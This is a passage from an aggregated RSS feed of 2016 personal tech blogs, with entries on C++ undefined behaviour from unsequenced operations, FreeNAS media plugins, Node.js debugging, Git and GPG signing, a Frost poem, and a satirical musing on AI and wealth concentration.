&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt; One day after I emailed my answers back to Paresh, some goof who I raced a lot in NorCal &lt;a href="http://www.usada.org/michael-buckley-accepts-sanction/"&gt;got busted&lt;/a&gt;! And again Peter Flax wrote an &lt;a href="http://cyclingtips.com/2016/04/the-curious-case-of-oscar74-how-usada-nabbed-a-masters-doper/"&gt;amazing article&lt;/a&gt; about this ordeal, which seems to reflect my opinion.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The article titled &lt;a href="https://www.latimes.com/business/la-fi-tn-strava-dopers-20160415-story.html"&gt;Fitness app Strava faces an uproar over an elite cycling user linked to doping&lt;/a&gt; got published on LA Times.&lt;/p&gt;</description><author>huphtur</author><pubDate>Tue, 12 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/should-dopers-be-banned-from-strava/</guid></item><item><title>Fun with unsequenced operations</title><link>https://bastian.rieck.me/blog/2016/unsequenced_operations/</link><description>&lt;p&gt;Time for another &lt;em&gt;tale from the trenches&lt;/em&gt;, better known as the course on
C++ programming taught by my colleague &lt;a href="http://www.iwr.uni-heidelberg.de/groups/viscomp/people/sadlo/"&gt;Filip Sadlo&lt;/a&gt;.
This time, the problem is very subtle and involves &lt;em&gt;unsequenced
operations&lt;/em&gt;. If you are not familiar with this term—because you
have been working with nicer programming languages than C++ so
far—let me briefly explain: A sequence point is a point in a
program where no more side effects of previous expressions exist any
more. It is thus the smallest self-contained unit of code that may be
executed. If an expression does &lt;em&gt;not&lt;/em&gt; contain any sequence points, the
order in which different sub-expressions are evaluated is not
necessarily specified.&lt;/p&gt;
&lt;p&gt;At this point you may ask yourself: Why should I care? Well, the point
is that in most cases, you do not &lt;em&gt;need&lt;/em&gt; to care. However, there are a
few cases where it makes sense to think about
sequencing—especially, when the &lt;em&gt;same&lt;/em&gt; variable appears multiple
times in an expression.&lt;/p&gt;
&lt;p&gt;A classical example, which I have to admit also used to be part of our
codebase, is&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;for which the final value of &lt;code&gt;i&lt;/code&gt; is ambiguous because the increment is
not guaranteed to be executed before the assignment. In essence, the
problem is that &lt;em&gt;both&lt;/em&gt; operations modify &lt;code&gt;i&lt;/code&gt; as a side-effect but the
assignment operator does not define a particular execution order.&lt;/p&gt;
&lt;p&gt;A similar example, which was part of an examination, is&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;which also combines multiple side-effects concerning the same variable.&lt;/p&gt;
&lt;p&gt;So, what can a poor compiler do in these cases? Nothing much, it turns
out. In fact, this is &lt;em&gt;undefined behaviour&lt;/em&gt; territory. Just for the fun
of its, let us take a look at how different compilers handle this. I
will use the following code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;First, &lt;code&gt;gcc&lt;/code&gt; is on.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ g++ --version
g++ (GCC) 5.3.0
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ g++ -std=c++11 unsequenced.cc; ./a.out
0
0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No warnings? Shame on you. You can surely do better!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ g++ -std=c++11 -Wall unsequenced.cc; ./a.out
unsequenced.cc: In function ‘int main()’:
unsequenced.cc:7:43: warning: operation on ‘x’ may be undefined [-Wsequence-point]
   std::cout &amp;lt;&amp;lt; ( --x == x-- ) &amp;lt;&amp;lt; std::endl;
                                           ^
unsequenced.cc:8:43: warning: operation on ‘x’ may be undefined [-Wsequence-point]
   std::cout &amp;lt;&amp;lt; ( x-- == --x ) &amp;lt;&amp;lt; std::endl;

0
0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now on to &lt;code&gt;clang&lt;/code&gt;!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ clang++ --version
clang version 3.7.1 (tags/RELEASE_371/final)
Target: x86_64-unknown-linux-gnu
Thread model: posix
$ clang++ -std=c++11 unsequenced.cc; ./a.out      
unsequenced.cc:7:18: warning: multiple unsequenced modifications to 'x'
      [-Wunsequenced]
  std::cout &amp;lt;&amp;lt; ( --x == x-- ) &amp;lt;&amp;lt; std::endl;
                 ^       ~~
unsequenced.cc:8:19: warning: multiple unsequenced modifications to 'x'
      [-Wunsequenced]
  std::cout &amp;lt;&amp;lt; ( x-- == --x ) &amp;lt;&amp;lt; std::endl;
                  ^     ~~
2 warnings generated.
1
0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s more like it!&lt;/p&gt;
&lt;p&gt;So, from the output we can see that &lt;em&gt;anything&lt;/em&gt; may happen when we
journey into &lt;em&gt;undefined behaviour&lt;/em&gt; territory. It is important to be at
least aware of these pitfalls—whenever you use some variable
multiple times in an expression, I would recommend to briefly reflect
about whether some unsequenced modifications may have slipped in.&lt;/p&gt;
&lt;p&gt;By the way: As the output of &lt;code&gt;gcc&lt;/code&gt; shows, it is almost always a very
good idea to compile with a good set of warnings enabled. At the very
least, you should use &lt;code&gt;-Wall&lt;/code&gt;, which—contrary to its
name—does not activate &lt;em&gt;all&lt;/em&gt; warnings. I guess naming the switch
&lt;code&gt;-Wsome-but-not-all-warnings&lt;/code&gt; would have been too silly…&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Mon, 11 Apr 2016 23:18:53 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/unsequenced_operations/</guid></item><item><title>Querying S3 with Presto</title><link>https://www.danielcorin.com/posts/2016/2016-04-11-querying-s3-with-presto/</link><description>Querying S3 with Presto</description><author>Thought Eddies</author><pubDate>Mon, 11 Apr 2016 20:19:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2016/2016-04-11-querying-s3-with-presto/</guid></item><item><title>Ever wondered why your best employees leave</title><link>https://www.mootoday.com/blog/ever-wondered-why-your-best-employees-leave</link><description>Thoughts on why top employees leave their jobs.</description><author>www.mootoday.com - RSS Feed</author><pubDate>Mon, 11 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mootoday.com/blog/ever-wondered-why-your-best-employees-leave</guid></item><item><title>Automatic tracking of bounding boxes</title><link>https://mattkeeter.com/blog/2016-04-10-bbox</link><description/><author>Matt Keeter</author><pubDate>Sun, 10 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/blog/2016-04-10-bbox</guid></item><item><title>Shape Sheet Images!</title><link>http://www.nuke24.net/plog/7.html</link><author>TOGoS's Project Log</author><pubDate>Sat, 09 Apr 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/7.html</guid></item><item><title>Integrating SABnzbd with Freenas, Couchpotato, Sickbeard and Headphones</title><link>https://www.zufallsheld.de/2014/09/17/integrating-sabnzbd-with-freenas-couchpotato-sickbeard-and-headphones/</link><description>&lt;p&gt;My &lt;a href="https://www.zufallsheld.de/2013/11/22/freenas-transmission-couchpotato-sickbeard-dlna-server/#enabling-access-to-the-jails"&gt;post&lt;/a&gt; about setting up Freenas with the plugins Couchpotato, Sickbeard and Transmission to stream movies and tv-shows got pretty popular.
One point of criticism was the lack of SABnzbd-integration. &lt;a href="http://sabnzbd.org/"&gt;SABnzbd&lt;/a&gt; is&amp;nbsp;a &lt;code&gt;Open Source Binary Newsreader&lt;/code&gt;, meaning you can download your favorite movies and tv-shows from the Usenet, where …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Sat, 09 Apr 2016 20:19:00 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/09/17/integrating-sabnzbd-with-freenas-couchpotato-sickbeard-and-headphones/</guid></item><item><title>Install Headphones and a Musicbrainz-server in your Freenas</title><link>https://www.zufallsheld.de/2014/09/15/install-headphones-and-a-musicbrainz-server-in-your-freenas/</link><description>&lt;p&gt;Today I want to describe how to set up the Headphones plugin in my Freenas-box.
I&amp;#8217;m still running Freenas 9.2.1 on a &lt;a href="http://amzn.to/1aMqSse"&gt;&lt;span class="caps"&gt;HP&lt;/span&gt; ProLiant G7 MicroServer &lt;span class="caps"&gt;N54L&lt;/span&gt;&lt;/a&gt; (affiliate&amp;nbsp;link).&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;p&gt;I already set up Freenas with Transmission, Couchpotato, Sickbeard and a &lt;span class="caps"&gt;DLNA&lt;/span&gt;-Server. It downloads and stream movies …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Sat, 09 Apr 2016 20:19:00 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/09/15/install-headphones-and-a-musicbrainz-server-in-your-freenas/</guid></item><item><title>Freenas mit Transmission und Couchpotato/Sick(-Beard, -Rage) als DLNA-Server</title><link>https://www.zufallsheld.de/2014/05/10/freenas-transmission-couchpotato-sickbeard-dlna-server-deutsch/</link><description>&lt;p&gt;In diesem Artikel werde ich beschreiben, wie man &lt;a href="http://www.freenas.org/"&gt;freenas&lt;/a&gt; mit den beliebten Plugins Couchpotato, SickBeard oder SickRage und Transmission installiert, um diese für das Herunterladen von Filmen und Serien, dem Streaming über &lt;a href="http://dlna.org" title="Digital Living Network Alliance"&gt;&lt;span class="caps"&gt;DLNA&lt;/span&gt;&lt;/a&gt; sowie das Mounten der Dateien auf Linux zu&amp;nbsp;verwenden.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;p&gt;&lt;strong&gt;SABnzbd wurde integriert. Alle Infos dazu in meinem …&lt;/strong&gt;&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Sat, 09 Apr 2016 20:19:00 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/05/10/freenas-transmission-couchpotato-sickbeard-dlna-server-deutsch/</guid></item><item><title>Freenas with Transmission and Couchpotato/Sick(-Beard, -Rage) as a DLNA-Server</title><link>https://www.zufallsheld.de/2013/11/22/freenas-transmission-couchpotato-sickbeard-dlna-server/</link><description>&lt;p&gt;I&amp;#8217;m going to describe how to set up &lt;a href="http://www.freenas.org/"&gt;Freenas&lt;/a&gt; with the popular plugins couchpotato, sickBeard or sickRage and transmission to use them for downloading movies or series and streaming them via &lt;a href="http://dlna.org" title="Digital Living Network Alliance"&gt;&lt;span class="caps"&gt;DLNA&lt;/span&gt;&lt;/a&gt; as well as mounting the storage on&amp;nbsp;Linux.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;p&gt;&lt;strong&gt;This post is also &lt;a href="https://www.zufallsheld.de/2014/05/10/freenas-transmission-couchpotato-sickbeard-dlna-server-deutsch/index.html"&gt;available&lt;/a&gt; in&amp;nbsp;German!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I integrated …&lt;/strong&gt;&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Sat, 09 Apr 2016 20:19:00 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2013/11/22/freenas-transmission-couchpotato-sickbeard-dlna-server/</guid></item><item><title>Git — Getting Started</title><link>https://nitinnain.com/small-git-getting-started-tutorial/</link><description>Using Git is simple and so I&amp;#8217;m keeping this very short. 1. Github.com is not git 2. You only need to learn these six commands to get started: add commit push pull clone status 3. push is akin to uploading your files to the server (for safe-keeping). Before pushing you&amp;#8217;ve to write a comment about [&amp;#8230;]</description><author>Nitin Nain</author><pubDate>Sat, 09 Apr 2016 06:35:00 GMT</pubDate><guid isPermaLink="true">https://nitinnain.com/small-git-getting-started-tutorial/</guid></item><item><title>Why is Node Running</title><link>https://peterlyons.com/problog/2016/04/why-is-node-running/</link><description>&lt;p&gt;Ever have a node process you expect to complete and exit just hang there? This happens when the code has active listeners or timers that &lt;strong&gt;could&lt;/strong&gt; potentially queue up more work to be done. For example, an open network connection that might still receive some data or a pending &lt;code&gt;setTimeout&lt;/code&gt; timer scheduled for the future. When everything is neat and tidy and all network connections and timers are properly canceled and closed, node sees that the event loop callback queue is empty and exits the process entirely. However, as you graduate from small scripts to small and medium applications where several databases, upstream backing API endpoints, connection pooling, etc are in play, it can be a first-class mystery tracking down a process you expect to exit that's just hanging there.&lt;/p&gt;
&lt;p&gt;Enter &lt;a href="https://www.npmjs.com/package/why-is-node-running"&gt;why-is-node-running&lt;/a&gt; to save the day. To use it is pretty straightforward.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;npm install why-is-node-running&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run your app using the CLI wrapper so instead of &lt;code&gt;node server.js&lt;/code&gt; you would run &lt;code&gt;./node_modules/.bin/why-is-node-running server.js&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;why-is-node-running will print out the command and PID you need which will be something like &lt;code&gt;kill -SIGUSR1 67641 for logging&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;In a separate terminal, run that command. The output stack traces usually should give you enough clues to track down the culprit.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There were definitely times in the early days of node where I could have really used this. Glad it's here now, though!&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Fri, 08 Apr 2016 06:47:03 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/04/why-is-node-running/</guid></item><item><title>git filter-wat</title><link>https://tuckersiemens.com/posts/git-filter-wat/</link><description>&lt;p&gt;Welcome to this year's annual blog post!&lt;/p&gt;
&lt;p&gt;I've been signing &lt;code&gt;git&lt;/code&gt; commits for my &lt;a href="https://github.com/reillysiemens/dotfiles"&gt;dotfiles&lt;/a&gt; repository since its
inception in October of last year, so I was excited to see that GitHub recently
added &lt;a href="https://github.com/blog/2144-gpg-signature-verification"&gt;GPG signature verification&lt;/a&gt;. All you have to do is upload your
&lt;a href="https://github.com/reillysiemens.gpg"&gt;public key&lt;/a&gt; to GitHub and you'll be verifying commits like a champ. Or so I
thought…&lt;/p&gt;</description><author>Reilly Tucker Siemens</author><pubDate>Fri, 08 Apr 2016 03:06:33 GMT</pubDate><guid isPermaLink="true">https://tuckersiemens.com/posts/git-filter-wat/</guid></item><item><title>Links - April 8th, 2016</title><link>https://faingezicht.com/links/2016/04/08/links/</link><description/><author>Avy Faingezicht</author><pubDate>Fri, 08 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/04/08/links/</guid></item><item><title>On a Tree Fallen Across the Road</title><link>https://ho.dges.online/words/commonplace/on-a-tree-fallen-across-the-road-by-robert-frost/</link><description>&lt;p&gt;(To hear us talk)&lt;/p&gt;
&lt;p&gt;The tree the tempest with a crash of wood&lt;br /&gt;
Throws down in front of us is not bar&lt;br /&gt;
Our passage to our journey&amp;rsquo;s end for good,&lt;br /&gt;
But just to ask us who we think we are&lt;/p&gt;
&lt;p&gt;Insisting always on our own way so.&lt;br /&gt;
She likes to halt us in our runner tracks,&lt;br /&gt;
And make us get down in a foot of snow&lt;br /&gt;
Debating what to do without an ax.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 08 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/on-a-tree-fallen-across-the-road-by-robert-frost/</guid></item><item><title>2016-04-08</title><link>https://ho.dges.online/pictures/2016-04-08/</link><description>&lt;p&gt;Teeny tiny crucifix.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 08 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-04-08/</guid></item><item><title>2016-04-07</title><link>https://ho.dges.online/pictures/2016-04-07/</link><description/><author>ho.dges.online</author><pubDate>Thu, 07 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-04-07/</guid></item><item><title>A presentation on async-await and Toisu!</title><link>https://qubyte.codes/blog/a-presentation-on-async-await-and-toisu</link><description>&lt;p&gt;Just before Christmas I gave a presentation on the upcoming async-await JavaScript language feature,
its basis in promises and generators, and finally a tiny server framework (like Express but a lot
leaner and more modular) which can make use of async functions as middleware (since an async
function is indistinguishable from a normal function which returns a promise). I'll introduce Toisu!
in a blog post soon, but until then here's the presentation:&lt;/p&gt;
&lt;div class="embed-container"&gt;&lt;/div&gt;</description><author>Qubyte Codes</author><pubDate>Thu, 07 Apr 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/a-presentation-on-async-await-and-toisu</guid></item><item><title>Huffman Serialization Techniques</title><link>https://bengarney.com/2016/04/06/huffman-serialization-techniques/</link><description>Networking expert Glenn Fielder&amp;#8217;s article on network serialization techniques is a great read. It discusses a number of scenarios including serializing a sparse set of items from an array. This blog post discusses Glenn&amp;#8217;s implementation of sparse array serialization and my thoughts on it. To be sure, Glenn&amp;#8217;s code has the virtue of simplicity, and the concepts I&amp;#8217;m going to discuss are more [&amp;#8230;]</description><author>Ben Garney</author><pubDate>Wed, 06 Apr 2016 23:37:17 GMT</pubDate><guid isPermaLink="true">https://bengarney.com/2016/04/06/huffman-serialization-techniques/</guid></item><item><title>Time for Tea and Destiny</title><link>https://yieldthought.com/post/142349068450</link><description>&lt;p&gt;Man, this is a good cup of tea. Feels good, letting the warmth soak through my hands. You know the best thing about tea? When fresh it&amp;rsquo;s too hot to drink. You&amp;rsquo;re forced to be still for a moment, enjoy the anticipation.&lt;/p&gt;&lt;p class="media"&gt;&lt;img align="right" alt="image" height="319" src="https://64.media.tumblr.com/a0e3bfab77af6a66bd1e8bc749826cb8/tumblr_inline_o57rpdr28f1qd3z7l_540.png" width="263" /&gt;&lt;/p&gt;&lt;p&gt;Here, pour yourself a cup and pull up a chair - this is the perfect moment to let our minds go wandering.&lt;/p&gt;&lt;p&gt;Have you had enough about AlphaGo and Lee Sedol? Yeah, it&amp;rsquo;s been everywhere. I like writing AIs for games as much as the next guy - well, probably more. That stuff is like crack! Used to play Go, too. Mankind against his own creation! What a story!&lt;/p&gt;&lt;p&gt;No I don&amp;rsquo;t worry about the Rise of the Machines too much. I think the future will be more interesting than that - it puts me in mind of the whole oil thing.&lt;/p&gt;&lt;p&gt;Yeah, oil. Listen - mmmaaah, that first sip is the best, don&amp;rsquo;t you think? Anyway, where was I? Oh yes: oil is like artificial muscle.&lt;br /&gt;&lt;/p&gt;&lt;h2&gt;On Artificial Intelligence and Oil&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;Thousands of years ago all we had was muscle power. So when someone started to become wealthy and powerful they could only get more work done by getting other people (or animals) to do them. You want to build a granary? Better be able to pay at least enough food for the workers who will build it for you. Oh, and for the hired muscle to assert that it&amp;rsquo;s yours. And so this concentration of wealth you created, earned or stole is parceled out to some extent amongst those around you.&lt;/p&gt;&lt;p&gt;Want to rule a kingdom? Build a cathedral? Live like a prince? You&amp;rsquo;re going to need to pay for a lot of people, because people are the fundamental unit of work. Yes, you&amp;rsquo;re right - I think Adam Smith did write something like that. Even slaves were paid with food and basic shelter.&lt;/p&gt;&lt;p&gt;So when the industrial revolution comes around things start getting crazy, because we have oil! Artificial muscle power! Suddenly we can do more work with fewer people. A lot more! &lt;br /&gt;&lt;/p&gt;&lt;p&gt;We need not dilute our wealth amongst so many other people when employing it to the same effect. And the longer the revolution goes on, the more pronounced the effect becomes! A couple of hundred years later and a roomful of people can create a billion dollar business from almost nothing - isn&amp;rsquo;t that amazing?&lt;/p&gt;&lt;p&gt;Wow, empty already. I always reach the bottom of the cup sooner than I expect. Oh yes thank-you, I will have another. Milk, no sugar please. Oh go on then, just one.&lt;/p&gt;&lt;h2&gt;As Gods amongst Men&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;Mmmh, thanks. Anyway, I think we&amp;rsquo;re standing at the cusp of another industrial revolution. We don&amp;rsquo;t need to wait for the mythical strong AI and the singularity or whatever. Even weak AI is just the perfect complement to oil! Oil allows the wealthy to employ artificial muscle. AI allows them to employ artificial intelligence to control that artificial muscle!&lt;/p&gt;&lt;p&gt;See, when AI can direct machines to extract oil, produce goods, repair and replace other machines - and you must agree this is ultimately within our grasp, right? When we do this, for the first time in history we can employ our wealth without giving &lt;i&gt;a single cent&lt;/i&gt; to another human being! Isn&amp;rsquo;t that a crazy thought? But it&amp;rsquo;s the only logical consequence!&lt;/p&gt;&lt;p&gt;It won&amp;rsquo;t happen overnight, of course. The replacement will be &lt;i&gt;gradual&lt;/i&gt;. An ever-shrinking elite of the wealthy and powerful and a circle of others around them fulfilling our wishes. But ultimately we won&amp;rsquo;t even need other humans to protect our wealth. Mere humans won&amp;rsquo;t pose a threat to our autonomous guards and drones!&lt;/p&gt;&lt;p&gt;We lucky few who have the most resources when the revolution comes will become like gods amongst men - capable of anything, the world bending itself to our every whim. The rest of the human race will struggle and squabble over the whatever resources we leave out of pity or compassion, or that are simply not worth claiming. To them our capricious whims and wars will be as incomprehensible as they are dangerous and their opinions won&amp;rsquo;t matter a damn.&lt;/p&gt;&lt;p&gt;We won&amp;rsquo;t need to overthrow governments, they&amp;rsquo;ll collapse by themselves as the tax revenue from the increasingly impoverished and unemployed masses disappears, our wealth safely beyond their desperate grasp.&lt;/p&gt;&lt;p&gt;We can reestablish the feudal system if we like, allowing the lesser peoples to pay rent on our properties whilst working the land in occupations that we find&amp;hellip; &lt;i&gt;suitable&lt;/i&gt;. We&amp;rsquo;ll never need them of course, but it&amp;rsquo;s so &lt;i&gt;fashionable&lt;/i&gt; to have an estate with a few surrounding villages, don&amp;rsquo;t you think darling? The admiration of the people! I have mine stand aside and cheer whenever I pass, it always brightens one up after a good day&amp;rsquo;s hunt.&lt;/p&gt;&lt;h2&gt;But Seriously&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;Oh, was that really the last of the tea? Back to the grindstone, I guess. Places to go, things to do.&lt;/p&gt;&lt;p&gt;What? No, no, don&amp;rsquo;t worry. I wasn&amp;rsquo;t really serious about all that. There&amp;rsquo;s no chance &lt;i&gt;at all&lt;/i&gt; that you or I will be one of the wealthy elite!&lt;i&gt; &lt;/i&gt;No, &lt;i&gt;our&lt;/i&gt; only hope will be to join the hacker insurrection&amp;hellip;&lt;/p&gt;&lt;p&gt;Anyway, I really do have to get back to work - these deep learning models aren&amp;rsquo;t going to train themselves, you know!&lt;/p&gt;</description><author>Yield Thought</author><pubDate>Wed, 06 Apr 2016 16:43:26 GMT</pubDate><guid isPermaLink="true">https://yieldthought.com/post/142349068450</guid></item><item><title>Linux on Windows Doesn’t Matter</title><link>https://justingarrison.com/blog/2016-04-06-linux-on-windows-doesn-t-matter/</link><description>Microsoft recently announced Windows Subsystem for Linux (WSL) which allows you to run some Linux binaries</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 06 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-04-06-linux-on-windows-doesn-t-matter/</guid></item><item><title>Developers, Being Treated Poorly? You Are Not Alone!</title><link>http://persumi.com/u/fredwu/tech/e/blog/p/developers-being-treated-poorly-you-are-not-alone</link><description/><author>Fred Wu (@fredwu)</author><pubDate>Tue, 05 Apr 2016 14:40:45 GMT</pubDate><guid isPermaLink="true">http://persumi.com/u/fredwu/tech/e/blog/p/developers-being-treated-poorly-you-are-not-alone</guid></item><item><title>Links - April 5th, 2016</title><link>https://faingezicht.com/links/2016/04/05/links/</link><description>Between researching camera lenses and teaching myself machine learning, there hasn't been much reading lately.</description><author>Avy Faingezicht</author><pubDate>Tue, 05 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/04/05/links/</guid></item><item><title>HTML canvas video player</title><link>https://muffinman.io/blog/html-canvas-video-player-ios/</link><description>&lt;article class="article"&gt;&lt;p&gt;This is the one of my most popular repos. Once client asked for inline video that works on iPhone too.
As Apple doesn&amp;#x27;t allow that (all videos are full screen in native player, and autoplay is not supported),.
There was no easy solution, so this player was born.&lt;/p&gt;
&lt;p&gt;It uses HTML &lt;code&gt;video&lt;/code&gt; and &lt;code&gt;canvas&lt;/code&gt;. Script picks up the frame from the video and draws it on the canvas.
For sound, there is &lt;code&gt;audio&lt;/code&gt; element using video files (you can provide different audio file for it).&lt;/p&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="HTML canvas video player demo" height="899" src="./canvas-video.jpg" width="1602" /&gt;&lt;/figure&gt;
&lt;p&gt;Play, pause, jump to time and autoplay are all supported.
But please check the &lt;a href="https://muffinman.io/html-canvas-video-player/"&gt;documentation and demo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You shouldn&amp;#x27;t use this on any device that supports HTML video natively, but as a fallback.&lt;/p&gt;
&lt;p&gt;Grab the code on &lt;a href="https://github.com/Stanko/html-canvas-video-player"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Tue, 05 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/html-canvas-video-player-ios/</guid></item><item><title>[Talk] Scaling Graphs</title><link>https://ntietz.com/blog/talk-scaling-graphs/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;On March 22, 2016, I talked about scaling up graphs at &lt;a href="http://www.meetup.com/ScaleTech/"&gt;Scale Tech&lt;/a&gt;. It was recorded and is viewable on YouTube:&lt;/p&gt;

